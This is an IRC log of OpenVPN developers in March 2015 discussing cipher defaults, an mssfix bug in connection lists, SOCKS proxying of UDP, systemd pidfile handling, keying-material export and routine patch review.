<@plaisthos> cron2: I think the function is still used in 2.3.6 07:49 <@cron2> ack, thanks, will ack+commit tonight ("no-brainer" :) ) 08:00 <@plaisthos> syzzer: do you have an idea how to describe tls-cipher DEFAULT in the UI? 08:00 <@plaisthos> [ ] Allow insecure and export ciphers? 08:00 <@plaisthos> but the kRSA are not really insecure, only lacking DH, right? 09:07 -!- mattock is now known as mattock_afk 09:13 <@syzzer> plaisthos: insecure -> less secure ? 09:16 <@syzzer> plaisthos: while you're at it, you might want to add --tls-version-max too 09:17 <@syzzer> although, you are already running master, so you should have version negotiation already 09:17 <@syzzer> and if you don't get many complaints, I guess you won't need it 09:56 <@plaisthos> no not many complaints 09:56 <@plaisthos> it got the few of totatally broken tomato routers but no others 09:56 <@plaisthos> I got a lot of complaints about tls-cipher 09:57 <@plaisthos> btw. I got a confirmation on the broken Mikrotik 09:58 <@plaisthos> they are also missing the DH ciphers 09:58 <@plaisthos> with tls-cipher default, the selected cipher is TLSv1/SSLv3 AES256-SHA, 1024 bit RSA 09:58 <@syzzer> a lotof crap out there... 09:59 <@plaisthos> yeah. 09:59 <@plaisthos> just now got an email where tls-cipher DEFAULT fixes the problem: 09:59 <@plaisthos> 2015-03-05 16:45:07 Control Channel: TLSv1.2, cipher TLSv1/SSLv3 09:59 <@plaisthos> AES256-GCM-SHA384, 1024 bit RSA 10:01 <@syzzer> well, at least these people are more aware of their 'less secure' connections now 10:01 <@plaisthos> yeah 10:01 <@plaisthos> I am just writing an FAQ text for this stuff 10:17 <@plaisthos> https://code.google.com/p/ics-openvpn/wiki/FAQ#Connections_fails_with_SSL23_GET_SERVER_HELLO:sslv3_alert_handsh 10:17 <@vpnHelper> Title: FAQ - ics-openvpn - Openvpn for Android 4.0+ - Google Project Hosting (at code.google.com) 10:41 < lev__> plaisthos: looks like you've removed 2 additional questions about TAP mode 10:43 <@plaisthos> no I didn't 10:43 <@plaisthos> hm 10:44 <@plaisthos> my parser that generates the FAQ seems to be broken 10:46 < lev__> plaisthos: do you happen to have somewhere dual-stack commit splitted into smalled commits? I'd like to trace that mssfix thingy 10:47 < lev__> the problem is very easy to reproduce - both sides (server/client) have dual-stack patch, fragment 1300 / mssfix defined and boom 11:28 <@plaisthos> lev__: no. The changes are such interwinded that splitting would have taken a lot of time 11:30 <@plaisthos> lev__: and my android client has never been 2.3 :) 11:30 <@plaisthos> (ignore that, was reading backlog) 11:33 <@plaisthos> my guess that is there is some method which calculates the tun_extra_mtu or whatever it is called that got AF_INET or AF_INET6 before and now gets AF_UNSPEC 11:33 <@plaisthos> to check can you use udp4 or udp6 instead of udp? 11:38 -!- mattock_afk is now known as mattock 12:51 -!- mattock is now known as mattock_afk 13:35 <@ecrist> ping mattock_afk 13:35 <@ecrist> SSL certs expired 13:35 <@ecrist> community and forums 13:39 -!- mattock_afk is now known as mattock 13:40 -!- dazo is now known as dazo_afk 13:57 <@mattock> ecrist: ok, will fix 13:57 <@mattock> I believe I had a reminder to avoid this exact issue, but the reminder was on my old phone 13:57 <@mattock> did not help much 13:58 < lev__> yay, I think I found the bug. We call options_postprocess_mutate_ce for every connection_entry in connection_list, however mutate_ce adjusts mssfix for options->connection_entry, not for connection_entry from connection_list https://github.com/OpenVPN/openvpn/blob/master/src/openvpn/options.c#L2355 13:58 <@vpnHelper> Title: openvpn/options.c at master · OpenVPN/openvpn · GitHub (at github.com) 14:00 < lev__> I guess fix should be "ce->mssfix = ce->fragment" 14:04 <@ecrist> thanks 14:06 < lev__> looks like code before dual stack was happy without connection list (in case of single remote), but now connection list is always created 15:12 <@cron2> lev__: cool. So this actually was a very old bug that just didn't surface because people did not use connection lists? 15:17 <@mattock> ecrist: certs on forums and community fixed 15:17 <@mattock> I wonder if I live to see the day when SSL certs are upgraded before they expire... 15:21 < lev__> cron2: yes looks like it has been since introduction of connection lists 15:21 <@cron2> amazing :) 15:31 < lev__> cron2: just reproduced with 2.3.6 by adding second remote 15:32 < lev__> (to the client config) 15:37 -!- floppym [~quassel@gentoo/developer/floppym] has quit [Ping timeout: 255 seconds] 15:40 -!- floppym [~quassel@gentoo/developer/floppym] has joined #openvpn-devel 15:44 <@cron2> ok, so we need to patch that one as well :) 15:44 <@cron2> only minor stuff for me tonight, though, and "bed now!" 15:45 <@vpnHelper> RSS Update - gitrepo: Document the default for tls-cipher. <https://github.com/OpenVPN/openvpn/commit/77f464bddcfcc958f10fd3e9c45e1cb46d5206d0> || Remove unused function sock_addr_set <https://github.com/OpenVPN/openvpn/commit/a6ef6c7c3318a4bc8f9a4df8c75c943da43a7662> 15:56 -!- mattock is now known as mattock_afk 16:38 <@syzzer> right, enough spam on the list from my part for today. let's see if I can get some more GCM-related patches to the list this weekend :) --- Day changed Fri Mar 06 2015 00:46 -!- mattock_afk is now known as mattock 04:14 <@mattock> cron2: just so that you know... I'm migrating to a new server @home, which is why my buildslaves are probably down quite often 04:14 <@mattock> I haven't yet migrated any of my VMs to the new server 04:20 -!- dazo_afk is now known as dazo 04:22 <@cron2> mattock: sounds like a good plan :-) 04:22 <@cron2> syzzer: yeah, you've been quite busy... I'll grab the easy ones :-) 04:28 <@dazo> syzzer: it's great to see your responses on the security list! 04:28 <@cron2> +1 04:38 <@dazo> n13l, syzzer: Just a quick reply ... from a code perspective the patch looks fine on the plug-in side ... I'm going to write a small test plug-in to dump the contents of 'exported_keying_material' (which should return an identical value on server and client) 04:38 <@dazo> cron2: have you had a look at the doc patch? 04:38 <@dazo> (the rfc5705 patch) 04:44 <@cron2> dazo: not yet, too busy with high-priority stuff ("needs to be done by Friday next week, no matter what or why") 04:45 <@dazo> fair enough! 05:02 <@vpnHelper> RSS Update - tickets: #525: static-challenge not working in OpenVPN GUI <https://community.openvpn.net/openvpn/ticket/525> 06:23 <@syzzer> cron2, dazo: yeah, this guy had interesting questions, so I decided to figure out the details :) 08:01 -!- cron2 [~gert@openvpn/community/developer/cron2] has quit [Ping timeout: 245 seconds] 08:32 -!- cron2_ [~gert@openvpn/community/developer/cron2] has joined #openvpn-devel 08:32 -!- mode/#openvpn-devel [+o cron2_] by ChanServ 08:50 -!- dazo is now known as dazo_afk 08:50 -!- dazo_afk is now known as dazo 09:58 -!- segoon [~vasya@ppp83-237-3-211.pppoe.mtu-net.ru] has joined #openvpn-devel 11:02 -!- segoon [~vasya@ppp83-237-3-211.pppoe.mtu-net.ru] has quit [Quit: WeeChat 0.3.7] 11:19 -!- ngharo [~ngharo@nexus.sypherz.com] has joined #openvpn-devel 12:20 <@cron2_> plaisthos: have you checked lev__'s patch? From a first glance it looks good, but you've spent more time in this section of the code 12:25 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has quit [Ping timeout: 265 seconds] 12:29 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has joined #openvpn-devel 13:02 <@vpnHelper> RSS Update - gitrepo: Allow for CN/username of 64 characters (fixes off-by-one) <https://github.com/OpenVPN/openvpn/commit/ecd934b1ef83eec58eb2df5d3a98309ca56d5812> || polarssl: make sure to always null-terminate the cn <https://github.com/OpenVPN/openvpn/commit/63559e142eb71a5e38dfc55d429f35f6e1af0b7c> || Get rid of old OpenSSL workarounds. <https://github.com/OpenVPN/openvpn/commit/48e5e425b7568d8fbd2e32517b7c358dbb6d4c5f> 13:17 -!- mattock is now known as mattock_afk 13:30 <@dazo> I wonder if I've spotted a potential buffer overflow in format_hex_ex() (buffer.c:441) ... 13:30 <@dazo> anyone here to eyeball my thesis now? 13:36 <@dazo> ahh, nope ... it looks fine after all, the limitation check I expected was just done very differently 14:17 <@syzzer> dazo: good catch on the ekm patch 14:18 <@syzzer> I actually wrote a plugin similar to yours a few patch versions ago, but only tested with 16 bytes output length... 15:32 <@dazo> :) ... well, I'm still damaged goods after having worked with QE tasks in RH for some years :-P 15:39 -!- dazo is now known as dazo_afk 15:46 <+krzee> dazo thought it would be interesting for people to know that you can connect to a UDP openvpn server over a proper TCP socks proxy 15:46 <+krzee> [17:34] <dazo> krzee: if you're able to test --socks with --proto udp, I'd like to hear about it, yes! 15:46 <+krzee> [17:34] <dazo> in fact, could be good to share it on #openvpn-devel :) 15:46 <+krzee> [17:37] <krzee> cool ill give it another try, i know dante can connect to udp ports 15:46 <+krzee> [17:38] <dazo> that's a good starting point :) 15:46 <+krzee> 2015-03-06 17:44:24 us=873140 Attempting to establish TCP connection with [AF_INET]10.8.12.1:1080 [nonblock] 15:46 <+krzee> 2015-03-06 17:44:24 us=873178 MANAGEMENT: >STATE:1425678264,TCP_CONNECT,,, 15:46 <+krzee> 2015-03-06 17:44:25 us=876388 TCP connection established with [AF_INET]10.8.12.1:1080 15:46 <+krzee> 2015-03-06 17:44:26 us=35250 UDPv4 link local: [undef] 15:46 <+krzee> 2015-03-06 17:44:26 us=35342 UDPv4 link remote: [AF_INET]201.196.151.34:1194 15:46 <+krzee> 2015-03-06 17:44:26 us=35399 MANAGEMENT: >STATE:1425678266,WAIT,,, 15:46 <+krzee> 2015-03-06 17:44:26 us=336737 MANAGEMENT: >STATE:1425678266,AUTH,,, 15:46 <+krzee> 2015-03-06 17:44:26 us=336899 TLS: Initial packet from [AF_INET]201.196.151.34:1194, sid=6f9adc39 fd326fe7 15:46 <+krzee> 2015-03-06 17:44:27 us=782952 VERIFY OK: depth=1, C=CR, ST=SR, L=SJ, O=ORG, CN=ca, emailAddress=EMAIL@ADDRESS 15:47 <+krzee> note, this requires a proper socks server which can actually connect to UDP, so openssh is out 15:55 <@cron2_> krzee: I do this all the time, use a socks proxy to talk to a UDP server :-) 15:55 <@cron2_> the more interesting bit is finding a socks proxy that can talk IPv6... 16:07 <+krzee> dante talks ipv6 16:09 <+krzee> http://www.inet.no/dante/doc/latest/config/ipv6.html 16:09 <@vpnHelper> Title: Dante configuration -- IPv6 communication (at www.inet.no) 16:10 <@cron2_> oh? cool. That was news to me, but even better :) 16:11 <+krzee> then i guess im glad i brought it up =] 16:11 <@cron2_> (last time I looked was a year ago, so that might have had an effect :) ) 16:11 <+krzee> may have, this was the first time i looked since i dont actually use ipv6 16:25 <@vpnHelper> RSS Update - tickets: #520: SPAM <https://community.openvpn.net/openvpn/ticket/520> 16:30 <@vpnHelper> RSS Update - tickets: #514: SPAM <https://community.openvpn.net/openvpn/ticket/514> 16:46 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has quit [Ping timeout: 256 seconds] 16:55 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has joined #openvpn-devel 22:47 -!- mattock_afk is now known as mattock 22:56 -!- mattock is now known as mattock_afk --- Day changed Sat Mar 07 2015 03:52 -!- mattock_afk is now known as mattock 05:39 <@vpnHelper> RSS Update - gitrepo: Fix mssfix default value in connection_list context <https://github.com/OpenVPN/openvpn/commit/d384a9587951617d12e31e0a18050bd86402d5df> 06:18 * cron2_ would appreciate some review/ACK on 1419713983-16272-1-git-send-email-gert@greenie.muc.de - Subject: [PATCH] Remove count_netmask_bits() 06:28 -!- mattock is now known as mattock_afk 07:07 -!- d12fk [~heiko@s15438066.onlinehome-server.info] has joined #openvpn-devel 07:07 -!- mode/#openvpn-devel [+o d12fk] by ChanServ 07:33 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has quit [Quit: Leaving.] 08:52 <@syzzer> will do 09:31 <@syzzer> what do you guys think, are we ready to enable TLS version negotiation by default again? 09:32 <@syzzer> we have --tls-version-max as a remedy for people hitting broken firewalls etc now (we did not have that in 2.3.3) 12:18 <@cron2_> sounds workable to me 15:57 <@cron2_> lev__: can you review syzzer's float-print-cname patch, please? You know the surrounding code and have a test server already up and running :-) (from me, it's a feature ACK, but the code ACK needs more checking) 16:47 -!- shivanshu [~shivanshu@unaffiliated/shivanshu] has quit [Quit: ZNC - http://znc.in] 22:07 <@vpnHelper> RSS Update - tickets: #526: What's The Best Way To Lose Weight Rapidly? <https://community.openvpn.net/openvpn/ticket/526> 22:25 <@vpnHelper> RSS Update - tickets: #526: spam <https://community.openvpn.net/openvpn/ticket/526> --- Day changed Sun Mar 08 2015 04:14 < lev__> cron2_: done, looks good and passed manual testing 04:44 -!- shivanshu [~shivanshu@unaffiliated/shivanshu] has joined #openvpn-devel 05:39 <@syzzer> lev__: thanks :) 05:41 <@syzzer> I used this to show some more tech-savvy potential clients how neat openvpn 2.4 will be ;) 05:42 <@syzzer> I'll stop spamming the lists for a little while again now ;) 07:05 <@cron2_> syzzer: don't let us stop you 07:07 <@cron2_> syzzer: the two polarssl patches are "old" stuff, right? There was a thread with (IIRC) 6 patches, half for openssl half for polarssl, and only a few got applied.. 07:16 -!- _bt [~bt@unaffiliated/bt/x-192343] has quit [Quit: bye] 07:16 <@vpnHelper> RSS Update - gitrepo: Change float log message to include common name, if available. <https://github.com/OpenVPN/openvpn/commit/bacd640f57c935fb8de4efa71be0e8601c48f26f> 07:19 <@syzzer> cron2_: yes, but some underlying stuff has changed in between 07:19 <@syzzer> so I rebased them, fixed fallout, improved doxygen while at it 07:22 <@syzzer> you can forget about 1/3 - 3/3 from that older patch set, I'll updated the Patches trac page to reflect that 07:29 <@cron2_> yeah, 1,2,3/6 got lost, 4-6/6 got done... lazy me, at least in part :) 07:29 <@cron2_> plaisthos actually ACKed 3/6, but without 1+2, that couldn't be applied :) 07:30 <@syzzer> I actually left out 3/6 in this run, because in the mean time I've seen ASSERT()s being dangerous, and want to see if I can add some real error handling instead 07:30 <@cron2_> mmmh, is that in the code now? It does not seem to be part of the new patch series 07:30 <@cron2_> ah! 07:31 <@cron2_> ok, I'll forget about the old series 07:37 -!- mattock_afk is now known as mattock 07:39 <@syzzer> cron2_: something else for you to ponder about, my compiler recently started complaining about code which git-blame claims to be yours: 07:39 <@syzzer> src/openvpn/options.c:1257:80: warning: comparison of 07:39 <@syzzer> constant 0 with expression of type 'bool' is always false 07:39 <@syzzer> [-Wtautological-constant-out-of-range-compare] 07:39 <@syzzer> ...get_ipv6_addr (prefix_str, &ir->network, &ir->netbits, NULL, msglevel ) < 0 ) 07:46 <@cron2_> I think plaisthos is bugging me about this since 3 years now... *look innocent* 07:47 <@cron2_> that code is just bogus, should be " if (!get_ipv6_addr..." 07:48 * cron2_ claims that this was written while "bool" was still an "int" and didn't cause warnings (and one of the beers must have been bad) 07:50 <@syzzer> in that case I probably only started noticing it recently, because I have a couple of patches in my local tree to silence a lot of other warnings :p 07:53 <@cron2_> patch sent to list :) 07:54 <@cron2_> ... and stuck in greylisting... 08:33 -!- s7r [debian-tor@openvpn/user/s7r] has joined #openvpn-devel 08:33 < s7r> !meetings 08:33 <@vpnHelper> "meetings" is OpenVPN developers meetings are usually held on Thursdays @ 18:00 UTC. Ask mattock or dazo for latest info. Meeting agendas and minutes are here: https://community.openvpn.net/openvpn/wiki/IrcMeetings 09:00 -!- EvilJStoker [jstoker@unaffiliated/jstoker] has quit [Remote host closed the connection] 09:06 <@cron2_> nah, that's actually wrong, meetings are mondays nowadays, but not next monday or the week after 09:20 -!- EvilJStoker [jstoker@unaffiliated/jstoker] has joined #openvpn-devel 12:19 -!- mattock is now known as mattock_afk 14:27 -!- _bt [~bt@unaffiliated/bt/x-192343] has joined #openvpn-devel 14:30 <@vpnHelper> RSS Update - gitrepo: Remove count_netmask_bits(), convert users to use netmask_to_netbits2() <https://github.com/OpenVPN/openvpn/commit/ec2fbf374f018366c18644d271cd4d793d04244b> || Fix incorrect use of get_ipv6_addr() for iroute options. <https://github.com/OpenVPN/openvpn/commit/e8562d5531277ee4dd7c517ef68e87af077ac948> 15:30 -!- s7r [debian-tor@openvpn/user/s7r] has quit [Remote host closed the connection] --- Day changed Mon Mar 09 2015 02:00 -!- mattock_afk is now known as mattock 02:17 -!- _bt [~bt@unaffiliated/bt/x-192343] has quit [Ping timeout: 246 seconds] 03:23 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has joined #openvpn-devel 03:23 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has quit [Remote host closed the connection] 03:27 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has joined #openvpn-devel 03:35 -!- mattock is now known as mattock_afk 03:53 -!- mattock_afk is now known as mattock 05:18 -!- dazo_afk is now known as dazo 05:18 <@syzzer> hmm, I really thought I sent a patch to enable TLS version negotiation to the list last night, but it doesn't show up anywhere... 05:18 <@syzzer> did any of you receive it? 07:07 -!- mattock is now known as mattock_afk 07:11 * cron2_ not 08:22 -!- mattock_afk is now known as mattock 08:51 -!- s7r [debian-tor@openvpn/user/s7r] has joined #openvpn-devel 09:30 -!- dazo is now known as dazo_afk 09:37 -!- dazo_afk is now known as dazo 10:19 -!- mattock is now known as mattock_afk 10:30 -!- mattock_afk is now known as mattock 11:02 -!- s7r [debian-tor@openvpn/user/s7r] has quit [Quit: Leaving] 11:05 -!- s7r [debian-tor@openvpn/user/s7r] has joined #openvpn-devel 11:33 <@dazo> This will be interesting ... OpenSSL will get an audit ... https://cryptoservices.github.io/openssl/2015/03/09/openssl-audit.html 11:33 <@vpnHelper> Title: OpenSSL Audit (at cryptoservices.github.io) 12:26 -!- dazo is now known as dazo_afk 14:58 -!- mattock is now known as mattock_afk 14:59 -!- mattock_afk is now known as mattock 15:20 -!- mattock is now known as mattock_afk 21:06 -!- s7r [debian-tor@openvpn/user/s7r] has quit [Quit: Leaving] 23:55 <@vpnHelper> RSS Update - tickets: #527: A Quick Way To Boost Metabolism Using Cambogia Ultra <https://community.openvpn.net/openvpn/ticket/527> --- Day changed Tue Mar 10 2015 02:04 -!- mattock_afk is now known as mattock 02:55 <@vpnHelper> RSS Update - tickets: #527: SPAM <https://community.openvpn.net/openvpn/ticket/527> 03:08 -!- floppym [~quassel@gentoo/developer/floppym] has quit [Ping timeout: 252 seconds] 03:09 -!- floppym [~quassel@gentoo/developer/floppym] has joined #openvpn-devel 03:52 <@cron2_> syzzer, dazo: can you describe how EKM can be used in practice in "easy to understand" terms, as in "you want to achieve *this*, so you need to take <these> pieces, and plug them togehter <that way>, using the key material from EKM to achieve <that>"? 03:52 <@cron2_> obviously this is totally hot crypto technology, but without proper usage, it is "just extra code" that syzzer gets to maintain... 03:54 <@cron2_> mattock: since people do not want dash-escapes anymore, I'll ACK and merge it :) 03:54 <@mattock> cron2: ok, I'll scrap them then 03:54 <@cron2_> I'm afraid you'll have to do two patches, for master and 2.3, as there are sufficient differences by now 03:54 <@mattock> that's fine, this should be trivial 05:19 < n13l> hi cron2_ ! 05:21 < n13l> cron2_: i dont think it's hard to explain one of the use case but I just asking myself if one of N usecases should be part of that "general" doc because there are several very different use cases 05:23 < n13l> that's the reason why i made comparision EKM with general hash-function - you can imagine very diferrent uses cases on top of it 05:27 <@syzzer> n13l: I think the problem is that most people can not imagine use cases on top of this :) 05:28 <@syzzer> it's simply not very obvious how one would use is, even though it might be to people who have looked at similar things before 05:29 <@syzzer> dazo_afk: you were planning to use this feature, right? 05:30 <@syzzer> I could write up an imaginary use case, but a real one would probably be better :) 05:46 < n13l> I agree with that and I could add my real example later somehow when it is in "production" quality 05:47 < n13l> As far as I know Dazo developed that test plugin which should be good for basic understanding mechanics 05:53 < n13l> I goin to repost last patch soon (there's tab inside instead of spaces) :( 06:05 -!- mattock is now known as mattock_afk 06:40 -!- mattock_afk is now known as mattock 06:45 -!- mattock is now known as mattock_afk 07:24 -!- dazo_afk is now known as dazo 07:40 <@dazo> syzzer: I'm planning to use the EKM stuff for the GSSAPI/IAKERB support, for channel binding 07:41 <@dazo> n13l: I'm willing to help out write a little/simple demo case ... if we can come up with a very easy one ... together with some ideas of other use cases 07:42 <@dazo> n13l: my test-plugin isn't much of a demo case at all ... all it does is to print out the EKM to the log 07:42 <@dazo> (and verify that it is the same on both sides) 07:56 * dazo brb 07:56 -!- dazo is now known as dazo_afk 08:52 -!- dazo_afk is now known as dazo 09:52 <@cron2_> dazo: how do other programs handle this? I'm tempted to consider this a failure of the distribution if it tells a program "put your pid file here!" and the directory is missing 09:52 <@cron2_> (read: I've never seen anyone actually try to mkdir_p() the directory, and then figure out the right permissions, inside the daemon) 09:53 <@cron2_> s/distribution/startup script/, whatever - "the calling environment" 09:53 <@cron2_> (brb, need to fetch kids from kindergarten) 10:18 <@dazo> cron2_: that's the concept of tmpfs ... it's a ramdisk. Of course it can be tackled in a unit file, but I consider that far more hacky ... or the unit file can have a pid file like openvpn_MYCONFIG_NAME.pid as well ... I just think this is a cleaner and more flexible approach 10:20 <@dazo> regarding the right permission ... well, it's the running daemon which creates the file, which is the user it is currently running as (root) ... I just considered the expected mode flags it tests for, to be on the safe side and to have a generic implementation which can be re-used 10:35 -!- s7r [debian-tor@openvpn/user/s7r] has joined #openvpn-devel 11:39 -!- s7r [debian-tor@openvpn/user/s7r] has quit [Remote host closed the connection] 13:33 -!- dazo is now known as dazo_afk 13:45 -!- dazo_afk is now known as dazo 15:55 <@syzzer> hmm, regarding the mkdir patch, I also feel this is the responsibility of the caller (init script / unit file / user) 15:56 <@syzzer> even more, I would expect my daemon to complain, instead of creating directories 16:10 <@dazo> syzzer: it does complain and openvpn doesn't start 16:11 <@dazo> syzzer: but if you create it, and reboot ... you're back to scratch 16:11 <@syzzer> oh, in that case I have to look at your patch better... 16:12 <@dazo> syzzer: linux distros begins to use tmpfs more and more for state files ... so this issue will appear at some point later too, in some other setting 16:13 <@dazo> and we might need to reconsider our discussion related to the --status file too ... where to recommend placing that file, and also what to consider if that file is placed on a tmpfs area 16:14 <@dazo> I'm looking at other ways to solve this with systemd ... the only reason we want --pidfile is so systemd can properly track what happens with openvpn and trigger the proper actions if something happens 16:15 <@syzzer> but, if someone tells me "put your pidfile here", it seems perfectly natural to me to assume "here" actually exists 16:15 <@dazo> But going other approaches means very systemd specific approaches 16:15 <@dazo> (and using tmpfs for /var/run or /run isn't really systemd specific) 16:16 <@syzzer> no, but putting the responsibility for the directory structures at the distro isn't systemd-specific either :) 16:17 <@syzzer> distro/user/whatever 16:17 <@dazo> that's right ... I tried to think of this as a distro neutral as possible 16:17 <@syzzer> as a user, I would be surprised to see directories being created when I make a type in my path 16:18 <@syzzer> I'd rather have the daemon bork on me with a nice error message 16:18 <@dazo> well, that happens quite often with daemons these days ... /run is super populated with files and directories 16:19 <@dazo> okay ... then I'll have to solve this in a systemd specific way 16:20 <@syzzer> isn't there a 'ensure this path exists'-directive in systemd? 16:21 <@dazo> nope ... when using the fork model (which we need today), you tell systemd "Here is the PID file the daemon will write to" ... and then the daemon is started and have to ensure it can write that PID file 16:22 <@dazo> If I propose a patch on the systemd mailing list solving it there, I feel pretty confident it will be rejected there as well 16:22 <@dazo> There is a sd_notify() call I can do, reporting MAINPID back to systemd, that'll probably work 16:24 <@dazo> (and that's most likely what systemd-devel will tell me to use too) 16:24 <@syzzer> I do feel you have a better view on this than I have, so don't let my ignorance block this patch, I was just a bit surprised by the proposed behaviour 16:25 <@dazo> well, I'll have to say ... I'm not too happy with this approach either, but it was the nicest ones I could find which was most distro/init-system neutral 16:35 * dazo need to go 16:36 <@dazo> I've looked at the init code ... the sd_notify() is doable, but will be far more intrusive - but that is also because it would not make sense adding sd_notify() without using the more advanced features, such as reporting more descriptive single-line error message on start-up failures too 16:38 <@dazo> (btw ... a completely different approach to sd_notify() is to use dbus ..... just as a warning ;-)) 16:39 -!- dazo is now known as dazo_afk 16:46 <@syzzer> hehe 16:47 <@syzzer> I'm still surprised systemd can't just create the directory... 17:53 -!- pekster [~rewt@openvpn/community/support/pekster] has quit [Ping timeout: 252 seconds] 17:53 -!- pekster [~rewt@openvpn/community/support/pekster] has joined #openvpn-devel 17:53 -!- mode/#openvpn-devel [+o pekster] by ChanServ 17:56 < floppym> syzzer: It can; either by setting ExecStartPre=/bin/mkdir /run/openvpn in the .service file, or by installing a tmpfiles.d file to do it once at boot. --- Day changed Wed Mar 11 2015 03:22 * cron2_ is all in favour of having a tmpfiles.d run script :) 04:38 -!- dazo_afk is now known as dazo 05:08 -!- dazo is now known as dazo_afk 09:36 -!- dazo_afk is now known as dazo 11:14 -!- krzie [~k@openvpn/community/support/krzee] has joined #openvpn-devel 11:14 -!- mode/#openvpn-devel [+v krzie] by ChanServ 11:14 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has quit [Ping timeout: 265 seconds] 11:14 -!- roentgen [~none@openvpn/community/support/roentgen] has quit [Ping timeout: 265 seconds] 11:14 -!- krzee [~k@openvpn/community/support/krzee] has quit [Ping timeout: 265 seconds] 11:14 -!- krzie is now known as krzee 11:15 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has joined #openvpn-devel 11:16 -!- roentgen [~none@openvpn/community/support/roentgen] has joined #openvpn-devel 11:16 -!- mode/#openvpn-devel [+v roentgen] by ChanServ 11:34 -!- raidz [~raidz@openvpn/corp/admin/andrew] has left #openvpn-devel [] 11:53 -!- raidz [~raidz@openvpn/corp/admin/andrew] has joined #openvpn-devel 11:54 -!- mode/#openvpn-devel [+o raidz] by ChanServ 15:54 -!- euid0 [~sch@host-213-213-197-83.dynamic.voo.be] has joined #openvpn-devel 17:41 -!- euid0 [~sch@host-213-213-197-83.dynamic.voo.be] has quit [Remote host closed the connection] 18:06 -!- dazo is now known as dazo_afk 18:45 -!- roentgen [~none@openvpn/community/support/roentgen] has quit [K-Lined] 18:47 -!- roentgen [~none@openvpn/community/support/roentgen] has joined #openvpn-devel 18:47 -!- mode/#openvpn-devel [+v roentgen] by ChanServ 20:23 -!- pekster [~rewt@openvpn/community/support/pekster] has quit [Ping timeout: 252 seconds] 20:24 -!- pekster [~rewt@openvpn/community/support/pekster] has joined #openvpn-devel 20:24 -!- mode/#openvpn-devel [+o pekster] by ChanServ 20:42 -!- s7r [debian-tor@openvpn/user/s7r] has joined #openvpn-devel --- Day changed Thu Mar 12 2015 00:09 -!- n13l [~Daniel@aaa.anect.cz] has quit [Ping timeout: 245 seconds] 03:12 -!- mattock_afk is now known as mattock 03:46 -!- dazo_afk is now known as dazo 08:42 -!- Linmu [~Linmu@220-128-210-232.HINET-IP.hinet.net] has quit [Quit: leaving] 08:45 -!- Linmu [~Linmu@220-128-210-232.HINET-IP.hinet.net] has joined #openvpn-devel 09:13 -!- n13l [~Daniel@aaa.anect.cz] has joined #openvpn-devel 10:40 -!- dazo is now known as dazo_afk 13:11 -!- s7r [debian-tor@openvpn/user/s7r] has quit [Remote host closed the connection] 13:11 -!- s7r [debian-tor@openvpn/user/s7r] has joined #openvpn-devel 16:04 -!- mattock is now known as mattock_afk 19:40 -!- s7r [debian-tor@openvpn/user/s7r] has quit [Quit: Leaving] 22:04 -!- shivanshu [~shivanshu@unaffiliated/shivanshu] has quit [Quit: ZNC - http://znc.in] --- Day changed Fri Mar 13 2015 01:13 -!- mattock_afk is now known as mattock 02:00 -!- mattock is now known as mattock_afk 03:12 -!- mattock_afk is now known as mattock 04:55 -!- mattock is now known as mattock_afk 05:23 -!- mattock_afk is now known as mattock 05:24 -!- dazo_afk is now known as dazo 05:28 -!- shivanshu [~shivanshu@unaffiliated/shivanshu] has joined #openvpn-devel 06:53 -!- mattock is now known as mattock_afk 08:47 -!- esde [~esde@openvpn/user/esde] has quit [Ping timeout: 245 seconds] 08:53 -!- esde [~esde@openvpn/user/esde] has joined #openvpn-devel 08:56 -!- mattock_afk is now known as mattock 10:04 -!- s7r [debian-tor@openvpn/user/s7r] has joined #openvpn-devel 10:31 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 10:31 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 10:32 -!- mattock is now known as mattock_afk 11:19 -!- s7r [debian-tor@openvpn/user/s7r] has quit [Remote host closed the connection] 11:53 -!- s7r [debian-tor@openvpn/user/s7r] has joined #openvpn-devel 12:59 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 12:59 -!- mode/#openvpn-devel [+o mattock] by ChanServ 13:02 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 264 seconds] 13:35 -!- dazo is now known as dazo_afk 15:29 -!- _bt [~bt@unaffiliated/bt/x-192343] has joined #openvpn-devel 18:05 -!- mattock [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 272 seconds] --- Day changed Sat Mar 14 2015 03:45 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 03:45 -!- mode/#openvpn-devel [+o mattock] by ChanServ 05:55 <@vpnHelper> RSS Update - tickets: #528: openvpn server on openbsd 5.7 segfaults when running for several days <https://community.openvpn.net/openvpn/ticket/528> 06:02 <@cron2_> plaisthos: #528 sounds like something you might be best qualified to check - 2.3.6, getaddrinfo(), return structures limited in size (so when copying a sockaddr_in6 out of an ipv4 return, it will crash) 06:03 <@cron2_> at least that's how I read the mail thread 09:13 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has quit [Quit: Leaving.] 09:31 -!- mattock [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 245 seconds] 11:49 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 11:49 -!- mode/#openvpn-devel [+o mattock] by ChanServ 11:57 <@vpnHelper> RSS Update - tickets: #529: OpenVPN client hangs system at SIGINT <https://community.openvpn.net/openvpn/ticket/529> 12:27 -!- pekster [~rewt@openvpn/community/support/pekster] has quit [Remote host closed the connection] 12:28 -!- pekster [~rewt@openvpn/community/support/pekster] has joined #openvpn-devel 12:28 -!- mode/#openvpn-devel [+o pekster] by ChanServ 12:35 -!- pekster [~rewt@openvpn/community/support/pekster] has quit [Ping timeout: 272 seconds] 12:35 -!- pekster [~rewt@openvpn/community/support/pekster] has joined 